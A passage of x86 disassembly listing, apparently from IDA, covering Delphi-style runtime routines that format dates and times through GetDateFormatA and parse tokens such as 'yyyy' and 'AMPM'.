		push	eax		; lpDateStr
		mov	eax, [ebp+var_4]
		call	sub_20004444
		push	eax		; lpFormat
		lea	eax, [ebp+Date]
		push	eax		; lpDate
		push	4		; dwFlags
		call	GetThreadLocale_0
		push	eax		; Locale
		call	GetDateFormatA
		test	eax, eax
		jz	loc_20008ABD
		mov	eax, ebx
		lea	edx, [ebp+DateStr]
		mov	ecx, 100h
		call	sub_20004218
		dec	esi
		jnz	loc_20008ABD
		mov	eax, ds:dword_20015758
		sub	eax, 4
		jz	short loc_20008A60
		sub	eax, 0Dh
		jnz	short loc_20008ABD
		push	ebx
		mov	eax, [ebx]
		mov	edx, 1
		call	sub_2000AF3C
		mov	ecx, eax
		mov	eax, [ebx]
		mov	edx, 1
		call	sub_200044A4
		jmp	short loc_20008ABD
; ---------------------------------------------------------------------------


loc_20008A60:				; CODE XREF: sub_20008990+ACj
		cmp	ds:dword_2001575C, 1
		jnz	short loc_20008ABD
		mov	eax, [ebx]
		call	sub_20004244
		mov	edx, eax
		mov	eax, [ebx]
		call	sub_2000ADC8
		cmp	eax, 4
		jnz	short loc_20008ABD
		mov	eax, [ebx]
		mov	edx, 3
		call	sub_2000AED8
		mov	esi, eax
		lea	eax, [ebp+DateStr]
		add	esi, eax
		dec	esi
		lea	eax, [ebp+var_118]
		mov	edx, esi
		call	sub_200041A0
		mov	eax, [ebp+var_118]
		mov	edx, 2
		call	sub_2000AF3C
		mov	ecx, eax
		mov	eax, ebx
		mov	edx, esi
		call	sub_20004098


loc_20008ABD:				; CODE XREF: sub_20008990+85j
					; sub_20008990+9Ej ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20008AE5


loc_20008ACA:				; CODE XREF: sub_20008990+153j
		lea	eax, [ebp+var_118]
		call	sub_20003FA8
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20008ADE:				; DATA XREF: sub_20008990+1Do
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20008ACA
; ---------------------------------------------------------------------------


loc_20008AE5:				; CODE XREF: sub_20008990+14Dj
					; DATA XREF: sub_20008990+135o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20008990	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_20008AF4	dd 6767h		; DATA XREF: sub_20008990+53o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20008AF8	proc near		; CODE XREF: sub_20008C00+1F1p

DateStr		= byte ptr -114h
Date		= SYSTEMTIME ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEECh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20008BD6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_20003FA8
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-0Eh]
		mov	[ebp+Date.wYear], ax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-10h]
		mov	[ebp+Date.wMonth], ax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-12h]
		mov	[ebp+Date.wDay], ax
		cmp	esi, 2
		jg	short loc_20008B56
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_20008BEC
		call	sub_20004040
		jmp	short loc_20008B63
; ---------------------------------------------------------------------------


loc_20008B56:				; CODE XREF: sub_20008AF8+4Dj
		lea	eax, [ebp+var_4]
		mov	edx, offset aYyyy ; "yyyy"
		call	sub_20004040


loc_20008B63:				; CODE XREF: sub_20008AF8+5Cj
		push	100h		; cchDate
		lea	eax, [ebp+DateStr]
		push	eax		; lpDateStr
		mov	eax, [ebp+var_4]
		call	sub_20004444
		push	eax		; lpFormat
		lea	eax, [ebp+Date]
		push	eax		; lpDate
		push	4		; dwFlags
		call	GetThreadLocale_0
		push	eax		; Locale
		call	GetDateFormatA
		test	eax, eax
		jz	short loc_20008BC0
		mov	eax, ebx
		lea	edx, [ebp+DateStr]
		mov	ecx, 100h
		call	sub_20004218
		dec	esi
		jnz	short loc_20008BC0
		mov	eax, [ebx]
		cmp	byte ptr [eax],	30h
		jnz	short loc_20008BC0
		push	ebx
		mov	eax, [ebx]
		call	sub_20004244
		mov	ecx, eax
		dec	ecx
		mov	eax, [ebx]
		mov	edx, 2
		call	sub_200044A4


loc_20008BC0:				; CODE XREF: sub_20008AF8+93j
					; sub_20008AF8+A8j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20008BDD


loc_20008BCD:				; CODE XREF: sub_20008AF8+E3j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20008BD6:				; DATA XREF: sub_20008AF8+17o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20008BCD
; ---------------------------------------------------------------------------


loc_20008BDD:				; CODE XREF: sub_20008AF8+DDj
					; DATA XREF: sub_20008AF8+D0o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20008AF8	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_20008BEC	dd 7979h, 0FFFFFFFFh, 4	; DATA XREF: sub_20008AF8+52o
aYyyy		db 'yyyy',0             ; DATA XREF: sub_20008AF8+61o
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20008C00	proc near		; CODE XREF: sub_20008C00+2F8p
					; sub_20008C00+30Cp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		xor	edx, edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_24], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20009381
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+var_4], 0
		jz	loc_20009366
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-108h], 2
		jge	loc_20009366
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax-108h]
		mov	bl, 20h
		mov	[ebp+var_13], 0
		mov	[ebp+var_1D], 0
		mov	[ebp+var_1E], 0
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008C57:				; CODE XREF: sub_20008C00+757j
		mov	[ebp+var_5], al
		mov	al, [ebp+var_5]
		and	eax, 0FFh
		bt	ds:dword_2001412C, eax
		jnb	short loc_20008C94
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_2000AF9C
		mov	edx, eax
		mov	eax, [ebp+var_4]
		call	sub_2000883C
		pop	ecx
		mov	eax, [ebp+var_4]
		call	sub_2000AFBC
		mov	[ebp+var_4], eax
		mov	bl, 20h
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008C94:				; CODE XREF: sub_20008C00+69j
		mov	eax, [ebp+var_4]
		call	sub_2000AFBC
		mov	[ebp+var_4], eax
		mov	al, [ebp+var_5]
		mov	edx, eax
		add	dl, 9Fh
		sub	dl, 1Ah
		jnb	short loc_20008CAE
		sub	al, 20h


loc_20008CAE:				; CODE XREF: sub_20008C00+AAj
		mov	edx, eax
		add	dl, 0BFh
		sub	dl, 1Ah
		jnb	short loc_20008CC5
		cmp	al, 4Dh
		jnz	short loc_20008CC3
		cmp	bl, 48h
		jnz	short loc_20008CC3
		mov	al, 4Eh


loc_20008CC3:				; CODE XREF: sub_20008C00+BAj
					; sub_20008C00+BFj
		mov	ebx, eax


loc_20008CC5:				; CODE XREF: sub_20008C00+B6j
		and	eax, 0FFh
		add	eax, 0FFFFFFDEh
		cmp	eax, 38h	; switch 57 cases
		ja	loc_2000933E	; default
					; jumptable 20008CDC cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54
		mov	al, byte_20008CE3[eax]
		jmp	off_20008D1C[eax*4] ; switch jump
; ---------------------------------------------------------------------------
byte_20008CE3	db    0Fh,     0,     0,     0 ; DATA XREF: sub_20008C00+D6r
		db	0,   0Fh,     0,     0 ; indirect table	for switch statement
		db	0,     0,     0,     0
		db	0,   0Dh,     0,     0
		db	0,     0,     0,     0
		db	0,     0,     0,     0
		db    0Eh,     0,     0,     0
		db	0,     0,     0,   0Bh
		db	0,   0Ch,     5,     3
		db	0,     2,     6,     0
		db	0,     0,     0,     4
		db	7,     0,     0,     0
		db	0,     8,     9,     0
		db	0,     0,     0,     1
		db    0Ah
off_20008D1C	dd offset loc_2000933E,	offset loc_20008D5C, offset loc_20008DAB
					; DATA XREF: sub_20008C00+DCr
		dd offset loc_20008DD8,	offset loc_20008E05, offset loc_20008E6A ; jump	table for switch statement
		dd offset loc_20008F17,	offset loc_20009011, offset loc_20009042
		dd offset loc_20009073,	offset loc_200090A8, offset loc_200090D9
		dd offset loc_2000924C,	offset loc_200092AA, offset loc_200092D0
		dd offset loc_200092EF
; ---------------------------------------------------------------------------


loc_20008D5C:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 55
		call	sub_200088EC
		pop	ecx
		push	ebp
		call	sub_20008918
		pop	ecx
		cmp	[ebp+var_C], 2
		jg	short loc_20008D93
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_E]
		mov	ecx, 64h
		xor	edx, edx
		div	ecx
		mov	eax, edx
		mov	edx, 2
		call	sub_200088A0
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008D93:				; CODE XREF: sub_20008C00+16Ej
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_E]
		mov	edx, 4
		call	sub_200088A0
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008DAB:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 37
		call	sub_200088EC
		pop	ecx
		push	ebp
		call	sub_20008918
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebp
		lea	edx, [ebp+var_24]
		mov	eax, [ebp+var_C]
		call	sub_20008990
		pop	ecx
		mov	eax, [ebp+var_24]
		call	sub_20008880
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008DD8:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 35
		call	sub_200088EC
		pop	ecx
		push	ebp
		call	sub_20008918
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebp
		lea	edx, [ebp+var_28]
		mov	eax, [ebp+var_C]
		call	sub_20008AF8
		pop	ecx
		mov	eax, [ebp+var_28]
		call	sub_20008880
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008E05:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 43
		call	sub_200088EC
		pop	ecx
		push	ebp
		call	sub_20008918
		pop	ecx
		mov	eax, [ebp+var_C]
		dec	eax
		sub	eax, 2
		jb	short loc_20008E20
		jz	short loc_20008E36
		jmp	short loc_20008E50
; ---------------------------------------------------------------------------


loc_20008E20:				; CODE XREF: sub_20008C00+21Aj
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		call	sub_200088A0
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008E36:				; CODE XREF: sub_20008C00+21Cj
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	eax, ds:dword_200156B8[eax*4]
		call	sub_20008880
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008E50:				; CODE XREF: sub_20008C00+21Ej
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	eax, ds:dword_200156E8[eax*4]
		call	sub_20008880
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008E6A:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 34
		call	sub_200088EC
		pop	ecx
		mov	eax, [ebp+var_C]
		dec	eax
		sub	eax, 2
		jb	short loc_20008E84
		jz	short loc_20008EA1
		dec	eax
		jz	short loc_20008EC8
		dec	eax
		jz	short loc_20008EEF
		jmp	short loc_20008F03
; ---------------------------------------------------------------------------


loc_20008E84:				; CODE XREF: sub_20008C00+278j
		push	ebp
		call	sub_20008918
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_12]
		mov	edx, [ebp+var_C]
		call	sub_200088A0
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008EA1:				; CODE XREF: sub_20008C00+27Aj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_20008800
		movzx	eax, ax
		mov	eax, ds:dword_20015718[eax*4]
		call	sub_20008880
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008EC8:				; CODE XREF: sub_20008C00+27Dj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_20008800
		movzx	eax, ax
		mov	eax, ds:dword_20015734[eax*4]
		call	sub_20008880
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008EEF:				; CODE XREF: sub_20008C00+280j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_200156A0
		call	sub_20008C00
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008F03:				; CODE XREF: sub_20008C00+282j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_200156A4
		call	sub_20008C00
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20008F17:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 38
		call	sub_200088EC
		pop	ecx
		push	ebp
		call	sub_20008950
		pop	ecx
		mov	[ebp+var_1F], 0
		mov	esi, [ebp+var_4]
		jmp	loc_20008FC6
; ---------------------------------------------------------------------------


loc_20008F31:				; CODE XREF: sub_20008C00+3CAj
		and	eax, 0FFh
		bt	ds:dword_2001412C, eax
		jnb	short loc_20008F4A
		mov	eax, esi
		call	sub_2000AFBC
		mov	esi, eax
		jmp	short loc_20008FC6
; ---------------------------------------------------------------------------


loc_20008F4A:				; CODE XREF: sub_20008C00+33Dj
		xor	eax, eax
		mov	al, [esi]
		cmp	eax, 48h
		jg	short loc_20008F66
		jz	short loc_20008FD0
		sub	eax, 22h
		jz	short loc_20008FBD
		sub	eax, 5
		jz	short loc_20008FBD
		sub	eax, 1Ah
		jz	short loc_20008F72
		jmp	short loc_20008FC5
; ---------------------------------------------------------------------------


loc_20008F66:				; CODE XREF: sub_20008C00+351j
		sub	eax, 61h
		jz	short loc_20008F72
		sub	eax, 7
		jz	short loc_20008FD0
		jmp	short loc_20008FC5
; ---------------------------------------------------------------------------


loc_20008F72:				; CODE XREF: sub_20008C00+362j
					; sub_20008C00+369j
		cmp	[ebp+var_1F], 0
		jnz	short loc_20008FC5
		mov	edx, offset dword_20009390
		mov	ecx, 5
		mov	eax, esi
		call	sub_20007738
		test	eax, eax
		jz	short loc_20008FB7
		mov	edx, offset dword_20009398
		mov	ecx, 3
		mov	eax, esi
		call	sub_20007738
		test	eax, eax
		jz	short loc_20008FB7
		mov	edx, offset aAmpm ; "AMPM"
		mov	ecx, 4
		mov	eax, esi
		call	sub_20007738
		test	eax, eax
		jnz	short loc_20008FD0


loc_20008FB7:				; CODE XREF: sub_20008C00+38Bj
					; sub_20008C00+3A0j
		mov	[ebp+var_1E], 1
		jmp	short loc_20008FD0
; ---------------------------------------------------------------------------


loc_20008FBD:				; CODE XREF: sub_20008C00+358j
					; sub_20008C00+35Dj
		mov	al, [ebp+var_1F]
		xor	al, 1
		mov	[ebp+var_1F], al


loc_20008FC5:				; CODE XREF: sub_20008C00+364j
					; sub_20008C00+370j ...
		inc	esi


loc_20008FC6:				; CODE XREF: sub_20008C00+32Cj
					; sub_20008C00+348j
		mov	al, [esi]
		test	al, al
		jnz	loc_20008F31


loc_20008FD0:				; CODE XREF: sub_20008C00+353j
					; sub_20008C00+36Ej ...
		mov	ax, [ebp+var_16]
		cmp	[ebp+var_1E], 0
		jz	short loc_20008FEF
		test	ax, ax
		jnz	short loc_20008FE5
		mov	ax, 0Ch
		jmp	short loc_20008FEF
; ---------------------------------------------------------------------------


loc_20008FE5:				; CODE XREF: sub_20008C00+3DDj
		cmp	ax, 0Ch
		jbe	short loc_20008FEF
		sub	ax, 0Ch


loc_20008FEF:				; CODE XREF: sub_20008C00+3D8j
					; sub_20008C00+3E3j ...
		cmp	[ebp+var_C], 2
		jle	short loc_20008FFC
		mov	[ebp+var_C], 2


loc_20008FFC:				; CODE XREF: sub_20008C00+3F3j
		mov	edx, [ebp+arg_0]
		push	edx
		movzx	eax, ax
		mov	edx, [ebp+var_C]
		call	sub_200088A0
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20009011:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 44
		call	sub_200088EC
		pop	ecx
		push	ebp
		call	sub_20008950
		pop	ecx
		cmp	[ebp+var_C], 2
		jle	short loc_2000902C
		mov	[ebp+var_C], 2


loc_2000902C:				; CODE XREF: sub_20008C00+423j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_18]
		mov	edx, [ebp+var_C]
		call	sub_200088A0
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20009042:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 49
		call	sub_200088EC
		pop	ecx
		push	ebp
		call	sub_20008950
		pop	ecx
		cmp	[ebp+var_C], 2
		jle	short loc_2000905D
		mov	[ebp+var_C], 2


loc_2000905D:				; CODE XREF: sub_20008C00+454j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_1A]
		mov	edx, [ebp+var_C]
		call	sub_200088A0
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20009073:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 50
		call	sub_200088EC
		pop	ecx
		cmp	[ebp+var_C], 1
		jnz	short loc_20009094
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_200156B4
		call	sub_20008C00
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20009094:				; CODE XREF: sub_20008C00+47Ej
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_200156B8
		call	sub_20008C00
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_200090A8:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 56
		call	sub_200088EC
		pop	ecx
		push	ebp
		call	sub_20008950
		pop	ecx
		cmp	[ebp+var_C], 3
		jle	short loc_200090C3
		mov	[ebp+var_C], 3


loc_200090C3:				; CODE XREF: sub_20008C00+4BAj
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_1C]
		mov	edx, [ebp+var_C]
		call	sub_200088A0
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_200090D9:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 31
		call	sub_20008950
		pop	ecx
		mov	esi, [ebp+var_4]
		dec	esi
		mov	edx, offset dword_20009390
		mov	ecx, 5
		mov	eax, esi
		call	sub_20007738
		test	eax, eax
		jnz	short loc_20009121
		cmp	[ebp+var_16], 0Ch
		jb	short loc_20009103
		add	esi, 3


loc_20009103:				; CODE XREF: sub_20008C00+4FEj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 2
		mov	eax, esi
		call	sub_2000883C
		pop	ecx
		add	[ebp+var_4], 4
		mov	[ebp+var_1E], 1
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20009121:				; CODE XREF: sub_20008C00+4F7j
		mov	edx, offset dword_20009398
		mov	ecx, 3
		mov	eax, esi
		call	sub_20007738
		test	eax, eax
		jnz	short loc_2000915E
		cmp	[ebp+var_16], 0Ch
		jb	short loc_20009140
		add	esi, 2


loc_20009140:				; CODE XREF: sub_20008C00+53Bj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 1
		mov	eax, esi
		call	sub_2000883C
		pop	ecx
		add	[ebp+var_4], 2
		mov	[ebp+var_1E], 1
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_2000915E:				; CODE XREF: sub_20008C00+534j
		mov	edx, offset aAmpm ; "AMPM"
		mov	ecx, 4
		mov	eax, esi
		call	sub_20007738
		test	eax, eax
		jnz	short loc_200091A7
		cmp	[ebp+var_16], 0Ch
		jnb	short loc_2000918B
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_200156AC
		call	sub_20008880
		pop	ecx
		jmp	short loc_2000919A
; ---------------------------------------------------------------------------


loc_2000918B:				; CODE XREF: sub_20008C00+578j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_200156B0
		call	sub_20008880
		pop	ecx


loc_2000919A:				; CODE XREF: sub_20008C00+589j
		add	[ebp+var_4], 3
		mov	[ebp+var_1E], 1
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_200091A7:				; CODE XREF: sub_20008C00+571j
		mov	edx, offset aAaaa ; "AAAA"
		mov	ecx, 4
		mov	eax, esi
		call	sub_20007738
		test	eax, eax
		jnz	short loc_200091EE
		push	ebp
		call	sub_20008918
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_20008800
		movzx	eax, ax
		mov	eax, ds:dword_20015734[eax*4]
		call	sub_20008880
		pop	ecx
		add	[ebp+var_4], 3
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_200091EE:				; CODE XREF: sub_20008C00+5BAj
		mov	edx, offset aAaa ; "AAA"
		mov	ecx, 3
		mov	eax, esi
		call	sub_20007738
		test	eax, eax
		jnz	short loc_20009235
		push	ebp
		call	sub_20008918
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_20008800
		movzx	eax, ax
		mov	eax, ds:dword_20015718[eax*4]
		call	sub_20008880
		pop	ecx
		add	[ebp+var_4], 2
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_20009235:				; CODE XREF: sub_20008C00+601j
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_5]
		mov	edx, 1
		call	sub_2000883C
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_2000924C:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		push	ebp		; jumptable 20008CDC case 33
		call	sub_200088EC
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_200156A0
		call	sub_20008C00
		pop	ecx
		push	ebp
		call	sub_20008950
		pop	ecx
		cmp	[ebp+var_16], 0
		jnz	short loc_20009282
		cmp	[ebp+var_18], 0
		jnz	short loc_20009282
		cmp	[ebp+var_1A], 0
		jz	loc_20009350


loc_20009282:				; CODE XREF: sub_20008C00+66Ej
					; sub_20008C00+675j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset asc_200093B0 ; " "
		mov	edx, 1
		call	sub_2000883C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_200156B8
		call	sub_20008C00
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_200092AA:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		cmp	ds:byte_2001569D, 0 ; jumptable	20008CDC case 13
		jz	loc_20009350
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset byte_2001569D
		mov	edx, 1
		call	sub_2000883C
		pop	ecx
		jmp	loc_20009350
; ---------------------------------------------------------------------------


loc_200092D0:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		cmp	ds:byte_200156A8, 0 ; jumptable	20008CDC case 24
		jz	short loc_20009350
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset byte_200156A8
		mov	edx, 1
		call	sub_2000883C
		pop	ecx
		jmp	short loc_20009350
; ---------------------------------------------------------------------------


loc_200092EF:				; CODE XREF: sub_20008C00+DCj
					; DATA XREF: sub_20008C00:off_20008D1Co
		mov	esi, [ebp+var_4] ; jumptable 20008CDC cases 0,5
		jmp	short loc_20009312
; ---------------------------------------------------------------------------


loc_200092F4:				; CODE XREF: sub_20008C00+71Ej
		and	eax, 0FFh
		bt	ds:dword_2001412C, eax
		jnb	short loc_2000930F
		mov	eax, [ebp+var_4]
		call	sub_2000AFBC
		mov	[ebp+var_4], eax
		jmp	short loc_20009312
; ---------------------------------------------------------------------------


loc_2000930F:				; CODE XREF: sub_20008C00+700j
		inc	[ebp+var_4]


loc_20009312:				; CODE XREF: sub_20008C00+6F2j
					; sub_20008C00+70Dj
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		test	al, al
		jz	short loc_20009320
		cmp	al, [ebp+var_5]
		jnz	short loc_200092F4


loc_20009320:				; CODE XREF: sub_20008C00+719j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, [ebp+var_4]
		sub	edx, esi
		mov	eax, esi
		call	sub_2000883C
		pop	ecx
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0
		jz	short loc_20009350
		inc	[ebp+var_4]
		jmp	short loc_20009350
; ---------------------------------------------------------------------------


loc_2000933E:				; CODE XREF: sub_20008C00+D0j
					; sub_20008C00+DCj
					; DATA XREF: ...
		mov	eax, [ebp+arg_0] ; default
					; jumptable 20008CDC cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54
		push	eax
		lea	eax, [ebp+var_5]
		mov	edx, 1
		call	sub_2000883C
		pop	ecx


loc_20009350:				; CODE XREF: sub_20008C00+52j
					; sub_20008C00+8Fj ...
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		test	al, al
		jnz	loc_20008C57
		mov	eax, [ebp+arg_0]
		dec	dword ptr [eax-108h]


loc_20009366:				; CODE XREF: sub_20008C00+25j
					; sub_20008C00+35j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20009388


loc_20009373:				; CODE XREF: sub_20008C00+786j
		lea	eax, [ebp+var_28]
		mov	edx, 2
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_20009381:				; DATA XREF: sub_20008C00+16o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20009373
; ---------------------------------------------------------------------------


loc_20009388:				; CODE XREF: sub_20008C00+780j
					; DATA XREF: sub_20008C00+76Eo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20008C00	endp

; ---------------------------------------------------------------------------
		align 10h
dword_20009390	dd 502F4D41h, 4Dh	; DATA XREF: sub_20008C00+378o
					; sub_20008C00+4E4o
dword_20009398	dd 502F41h		; DATA XREF: sub_20008C00+38Do
					; sub_20008C00:loc_20009121o
aAmpm		db 'AMPM',0             ; DATA XREF: sub_20008C00+3A2o
					; sub_20008C00:loc_2000915Eo
		align 4
aAaaa		db 'AAAA',0             ; DATA XREF: sub_20008C00:loc_200091A7o
		align 4
aAaa		db 'AAA',0              ; DATA XREF: sub_20008C00:loc_200091EEo
asc_200093B0:				; DATA XREF: sub_20008C00+686o
		unicode	0, < >,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200093B4	proc near		; CODE XREF: sub_20009410+Bp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[ebp+var_104], eax
		xor	eax, eax
		mov	[ebp+var_108], eax
		test	ebx, ebx
		jz	short loc_200093E2
		push	ebp
		mov	eax, ebx
